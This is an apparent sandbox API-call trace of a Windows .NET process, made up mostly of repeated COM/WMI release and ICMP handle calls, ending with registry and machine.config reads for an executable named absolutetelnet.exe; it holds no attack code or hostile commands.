[0262.507] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0262.507] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x1 [0262.507] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x0 [0262.526] IUnknown:Release (This=0x1b268f60) returned 0x0 [0262.526] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0262.526] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x1 [0262.526] IUnknown:Release (This=0x1b286080) returned 0x0 [0264.496] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0264.496] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0264.496] WbemLocator:IUnknown:Release (This=0x1d218650) returned 0x1 [0264.496] WbemLocator:IUnknown:Release (This=0x1d218650) returned 0x0 [0267.043] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0267.043] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0267.043] IUnknown:Release (This=0x1b268750) returned 0x2 [0267.043] IUnknown:Release (This=0x1b268750) returned 0x1 [0267.061] IUnknown:Release (This=0x1b268750) returned 0x0 [0267.062] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0267.062] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x1 [0267.062] IUnknown:Release (This=0x1b287970) returned 0x0 [0269.737] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0269.737] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0269.737] IUnknown:Release (This=0x1b268750) returned 0x2 [0269.737] IUnknown:Release (This=0x1b268750) returned 0x1 [0269.738] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0269.738] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x1 [0269.738] WbemLocator:IUnknown:Release (This=0x1b217720) returned 0x0 [0269.881] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0269.881] WbemLocator:IUnknown:Release (This=0x1d218030) returned 0x1 [0269.881] WbemLocator:IUnknown:Release (This=0x1d218030) returned 0x0 [0269.881] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0269.881] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0269.881] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x0 [0269.882] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0269.882] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0269.882] WbemDefPath:IUnknown:Release (This=0x1b294220) returned 0x1 [0269.882] WbemDefPath:IUnknown:Release (This=0x1b294220) returned 0x0 [0269.883] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0269.883] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x1 [0269.883] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x0 [0269.904] IUnknown:Release (This=0x1b268750) returned 0x0 [0269.904] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0269.904] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x1 [0269.904] IUnknown:Release (This=0x1b287820) returned 0x0 [0269.908] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0269.908] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0269.908] IUnknown:Release (This=0x1b2872e0) returned 0x0 [0269.964] IcmpCloseHandle (IcmpHandle=0x1d1fa420) returned 1 [0269.979] LocalFree (hMem=0x1e718ec0) returned 0x0 [0271.462] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0271.462] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0271.463] IUnknown:Release (This=0x1b268a00) returned 0x2 [0271.463] IUnknown:Release (This=0x1b268a00) returned 0x1 [0271.463] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0271.463] WbemLocator:IUnknown:Release (This=0x1d2185d0) returned 0x1 [0271.463] WbemLocator:IUnknown:Release (This=0x1d2185d0) returned 0x0 [0271.481] IUnknown:Release (This=0x1b268a00) returned 0x0 [0271.482] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0271.482] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0271.482] IUnknown:Release (This=0x1b2861d0) returned 0x0 [0271.494] IcmpCloseHandle (IcmpHandle=0x1d1fade0) returned 1 [0273.605] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0273.605] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0273.605] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0273.605] WbemLocator:IUnknown:Release (This=0x1b218140) returned 0x0 [0273.607] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0273.607] IUnknown:Release (This=0x1b268a00) returned 0x2 [0273.607] IUnknown:Release (This=0x1b268a00) returned 0x1 [0273.607] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0273.607] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x1 [0273.608] WbemLocator:IUnknown:Release (This=0x1d28fe40) returned 0x0 [0273.608] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0273.608] WbemLocator:IUnknown:Release (This=0x1d218350) returned 0x1 [0273.608] WbemLocator:IUnknown:Release (This=0x1d218350) returned 0x0 [0273.608] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0273.608] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0273.608] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x1 [0273.608] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x0 [0273.608] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0273.608] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x1 [0273.609] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x0 [0273.627] IUnknown:Release (This=0x1b268a00) returned 0x0 [0273.627] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0273.627] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0273.627] IUnknown:Release (This=0x1b286710) returned 0x0 [0275.216] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0275.216] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0275.216] IUnknown:Release (This=0x1b268750) returned 0x2 [0275.216] IUnknown:Release (This=0x1b268750) returned 0x1 [0275.216] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0275.216] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x1 [0275.216] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x0 [0275.234] IUnknown:Release (This=0x1b268750) returned 0x0 [0275.235] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0275.235] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0275.235] IUnknown:Release (This=0x1b286080) returned 0x0 [0277.298] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0277.298] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0277.298] WbemLocator:IUnknown:Release (This=0x1d218210) returned 0x1 [0277.298] WbemLocator:IUnknown:Release (This=0x1d218210) returned 0x0 [0277.299] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0277.299] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x1 [0277.299] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x0 [0277.360] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0277.360] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0277.361] WbemLocator:IUnknown:Release (This=0x1d28fff0) returned 0x0 [0277.362] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0277.362] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0277.362] WbemDefPath:IUnknown:Release (This=0x1b293da0) returned 0x1 [0277.362] WbemDefPath:IUnknown:Release (This=0x1b293da0) returned 0x0 [0277.362] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0277.362] WbemDefPath:IUnknown:Release (This=0x1b2931a0) returned 0x1 [0277.362] WbemDefPath:IUnknown:Release (This=0x1b2931a0) returned 0x0 [0277.381] IcmpCloseHandle (IcmpHandle=0x1d1faba0) returned 1 [0277.485] CloseHandle (hObject=0x4f8) returned 1 [0277.485] CloseHandle (hObject=0x7cc) returned 1 [0277.486] CloseHandle (hObject=0x504) returned 1 [0277.486] CloseHandle (hObject=0x4f4) returned 1 [0279.691] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0279.691] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0279.691] IUnknown:Release (This=0x1b2681f0) returned 0x2 [0279.691] IUnknown:Release (This=0x1b2681f0) returned 0x1 [0279.716] IUnknown:Release (This=0x1b2681f0) returned 0x0 [0279.717] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0279.717] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0279.717] IUnknown:Release (This=0x1b286860) returned 0x0 [0281.763] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0281.763] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0281.763] IUnknown:Release (This=0x1b269210) returned 0x2 [0281.763] IUnknown:Release (This=0x1b269210) returned 0x1 [0281.763] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0281.763] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x1 [0281.763] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x0 [0281.763] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0281.763] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0281.763] WbemDefPath:IUnknown:Release (This=0x1b292f60) returned 0x1 [0281.763] WbemDefPath:IUnknown:Release (This=0x1b292f60) returned 0x0 [0281.780] IUnknown:Release (This=0x1b269210) returned 0x0 [0281.780] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0281.780] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0281.780] IUnknown:Release (This=0x1b286080) returned 0x0 [0281.782] IcmpCloseHandle (IcmpHandle=0x1d1fa4e0) returned 1 [0283.884] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0283.884] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0283.884] IUnknown:Release (This=0x1b268cb0) returned 0x2 [0283.884] IUnknown:Release (This=0x1b268cb0) returned 0x1 [0283.884] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0283.885] WbemLocator:IUnknown:Release (This=0x1d218150) returned 0x1 [0283.885] WbemLocator:IUnknown:Release (This=0x1d218150) returned 0x0 [0283.885] IUnknown:Release (This=0x1b268cb0) returned 0x0 [0283.897] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0283.897] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0283.897] IUnknown:Release (This=0x1b286860) returned 0x0 [0285.728] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0285.728] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0285.728] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0285.729] WbemLocator:IUnknown:Release (This=0x1d290980) returned 0x0 [0285.740] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0285.740] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0285.740] WbemLocator:IUnknown:Release (This=0x1d28edf0) returned 0x0 [0285.741] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0285.741] WbemLocator:IUnknown:Release (This=0x1d218190) returned 0x1 [0285.741] WbemLocator:IUnknown:Release (This=0x1d218190) returned 0x0 [0285.741] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0285.741] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0285.741] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x1 [0285.741] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x0 [0285.741] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0285.742] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x1 [0285.742] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x0 [0287.837] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0287.837] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0287.837] IUnknown:Release (This=0x1b269210) returned 0x2 [0287.837] IUnknown:Release (This=0x1b269210) returned 0x1 [0287.859] IUnknown:Release (This=0x1b269210) returned 0x0 [0287.859] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0287.860] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0287.860] IUnknown:Release (This=0x1b287820) returned 0x0 [0287.867] IcmpCloseHandle (IcmpHandle=0x1d1fb560) returned 1 [0289.740] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0289.740] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0289.740] IUnknown:Release (This=0x1b269a20) returned 0x2 [0289.740] IUnknown:Release (This=0x1b269a20) returned 0x1 [0289.740] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0289.740] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x1 [0289.740] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x0 [0289.740] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0289.740] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0289.740] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x1 [0289.740] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x0 [0289.758] IUnknown:Release (This=0x1b269a20) returned 0x0 [0289.758] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0289.758] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0289.758] IUnknown:Release (This=0x1b287430) returned 0x0 [0291.646] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0291.646] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0291.646] IUnknown:Release (This=0x1b269210) returned 0x2 [0291.646] IUnknown:Release (This=0x1b269210) returned 0x1 [0291.646] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0291.646] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x1 [0291.646] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x0 [0291.663] IUnknown:Release (This=0x1b269210) returned 0x0 [0291.664] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0291.664] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0291.664] IUnknown:Release (This=0x1b286b00) returned 0x0 [0294.058] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0294.058] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0294.058] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x1 [0294.059] WbemLocator:IUnknown:Release (This=0x1d2908f0) returned 0x0 [0294.332] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0294.332] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0294.332] WbemLocator:IUnknown:Release (This=0x1d290350) returned 0x0 [0294.386] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0294.386] WbemLocator:IUnknown:Release (This=0x1d218290) returned 0x1 [0294.386] WbemLocator:IUnknown:Release (This=0x1d218290) returned 0x0 [0294.386] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0294.386] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0294.386] WbemDefPath:IUnknown:Release (This=0x1b294ca0) returned 0x1 [0294.386] WbemDefPath:IUnknown:Release (This=0x1b294ca0) returned 0x0 [0294.386] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0294.386] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x1 [0294.386] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x0 [0294.435] IcmpCloseHandle (IcmpHandle=0x1d1fac00) returned 1 [0296.183] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0296.183] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0296.184] IUnknown:Release (This=0x1b2681f0) returned 0x2 [0296.184] IUnknown:Release (This=0x1b2681f0) returned 0x1 [0296.206] IUnknown:Release (This=0x1b2681f0) returned 0x0 [0296.207] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0296.207] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0296.207] IUnknown:Release (This=0x1b286c50) returned 0x0 [0297.962] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0297.962] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0297.962] IUnknown:Release (This=0x1b269a20) returned 0x2 [0297.962] IUnknown:Release (This=0x1b269a20) returned 0x1 [0297.962] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0297.963] WbemLocator:IUnknown:Release (This=0x1d217f70) returned 0x1 [0297.963] WbemLocator:IUnknown:Release (This=0x1d217f70) returned 0x0 [0297.963] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0297.963] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0297.963] WbemDefPath:IUnknown:Release (This=0x1b2933e0) returned 0x1 [0297.963] WbemDefPath:IUnknown:Release (This=0x1b2933e0) returned 0x0 [0297.987] IUnknown:Release (This=0x1b269a20) returned 0x0 [0297.988] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0297.988] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0297.988] IUnknown:Release (This=0x1b287970) returned 0x0 [0297.994] IcmpCloseHandle (IcmpHandle=0x1d1fb200) returned 1 [0299.861] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0299.861] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0299.861] IUnknown:Release (This=0x1b2694c0) returned 0x2 [0299.861] IUnknown:Release (This=0x1b2694c0) returned 0x1 [0299.861] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0299.861] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x1 [0299.861] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x0 [0299.878] IUnknown:Release (This=0x1b2694c0) returned 0x0 [0299.879] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0299.879] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0299.879] IUnknown:Release (This=0x1b287580) returned 0x0 [0301.670] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0301.670] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0301.671] IUnknown:Release (This=0x1b268750) returned 0x2 [0301.671] IUnknown:Release (This=0x1b268750) returned 0x1 [0301.671] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0301.671] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0301.671] WbemLocator:IUnknown:Release (This=0x1d28f270) returned 0x0 [0301.671] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0301.672] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0301.672] WbemLocator:IUnknown:Release (This=0x1d28fd20) returned 0x0 [0301.672] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0301.672] WbemLocator:IUnknown:Release (This=0x1d218490) returned 0x1 [0301.672] WbemLocator:IUnknown:Release (This=0x1d218490) returned 0x0 [0301.672] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0301.672] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0301.672] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x1 [0301.672] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x0 [0301.672] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0301.672] WbemDefPath:IUnknown:Release (This=0x1b293e60) returned 0x1 [0301.672] WbemDefPath:IUnknown:Release (This=0x1b293e60) returned 0x0 [0301.690] IUnknown:Release (This=0x1b268750) returned 0x0 [0301.690] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0301.690] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x1 [0301.690] IUnknown:Release (This=0x1b286320) returned 0x0 Thread: id = 182 os_tid = 0x784 Thread: id = 183 os_tid = 0x7dc Thread: id = 184 os_tid = 0xc04 Thread: id = 185 os_tid = 0xc08 [0147.771] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0147.772] CoGetContextToken (in: pToken=0x1afbf4e0 | out: pToken=0x1afbf4e0) returned 0x0 [0147.772] CObjectContext::QueryInterface () returned 0x0 [0147.772] CObjectContext::GetCurrentThreadType () returned 0x0 [0147.772] Release () returned 0x0 [0147.772] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0147.773] CoUninitialize () [0147.773] RoInitialize () returned 0x1 [0147.773] RoUninitialize () returned 0x0 [0148.211] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbb9f8 | out: phkResult=0x1afbb9f8*=0x0) returned 0x2 [0148.215] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1afbe430, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0150.183] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e4 [0150.185] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2e8 [0150.198] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbc2f8 | out: phkResult=0x1afbc2f8*=0x2ec) returned 0x0 [0150.201] RegQueryValueExW (in: hKey=0x2ec, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1afbc348, lpData=0x0, lpcbData=0x1afbc340*=0x0 | out: lpType=0x1afbc348*=0x1, lpData=0x0, lpcbData=0x1afbc340*=0xe) returned 0x0 [0150.202] RegQueryValueExW (in: hKey=0x2ec, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1afbc348, lpData=0x2265720, lpcbData=0x1afbc340*=0xe | out: lpType=0x1afbc348*=0x1, lpData="Client", lpcbData=0x1afbc340*=0xe) returned 0x0 [0150.203] RegCloseKey (hKey=0x2ec) returned 0x0 [0150.454] GetCurrentProcess () returned 0xffffffffffffffff [0150.454] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbc48 | out: TokenHandle=0x1afbbc48*=0x2ec) returned 1 [0150.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1afbb660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0150.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1afbbcf0 | out: lpFileInformation=0x1afbbcf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0150.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1afbb680, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0150.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1afbbce8 | out: lpFileInformation=0x1afbbce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0150.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1afbb680, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0150.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbbb60) returned 1 [0150.471] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2f0 [0150.472] GetFileType (hFile=0x2f0) returned 0x1 [0150.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbbad0) returned 1 [0150.472] GetFileType (hFile=0x2f0) returned 0x1 [0150.488] GetFileSize (in: hFile=0x2f0, lpFileSizeHigh=0x1afbbc38 | out: lpFileSizeHigh=0x1afbbc38*=0x0) returned 0x8c8f [0150.489] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbbba8, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbbba8*=0x1000, lpOverlapped=0x0) returned 1 [0150.506] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb988, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, 